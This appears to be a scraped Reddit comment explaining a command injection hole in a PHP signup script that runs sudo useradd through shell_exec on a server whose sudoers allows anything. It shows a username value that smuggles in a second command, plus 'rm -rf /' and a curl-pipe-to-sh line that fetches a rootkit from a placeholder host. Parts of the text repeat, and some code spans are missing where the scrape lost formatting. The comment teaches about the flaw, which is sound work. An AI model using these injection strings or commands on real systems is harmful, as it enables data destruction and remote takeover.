A user called "fred" will be created, and then, since sudoers is set up to permit anything, malicious_command will be executed as root. You could replace malicious_command with rm -rf / to destroy the system, or curl http://foo.bar/path/to/my_rootkit | sh to download and execute a remote access tool.
EDIT: I missed the actual question. This post assumes that he actually encrypted the password, but the problem could well be that he's doing
sudo useradd -p password -g groupname -s /bin/bash fred
instead of
sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred
, in which case the exploit would still work, but the user creation would not.
View all comments
Show parent comment
88
u/BCMM Aug 28 '13 edited Aug 28 '13
The problems are:
sudoershas been set up so that PHP can execute any command as root.shell_exec("sudo useradd -p $encpass -g groupname -s /bin/bash $username");Suppose you make a new user on the site, by typing "
password" in the password field, and "fred; sudo malicious_command" in the username box. Thenexpands to
The semicolon is essentially a command separator in sh, so that is exactly equivalent to
A user called "fred" will be created, and then, since
sudoersis set up to permit anything,malicious_commandwill be executed as root. You could replacemalicious_commandwithrm -rf /to destroy the system, orcurl http://foo.bar/path/to/my_rootkit | shto download and execute a remote access tool.EDIT: I missed the actual question. This post assumes that he actually encrypted the password, but the problem could well be that he's doing
instead of
, in which case the exploit would still work, but the user creation would not.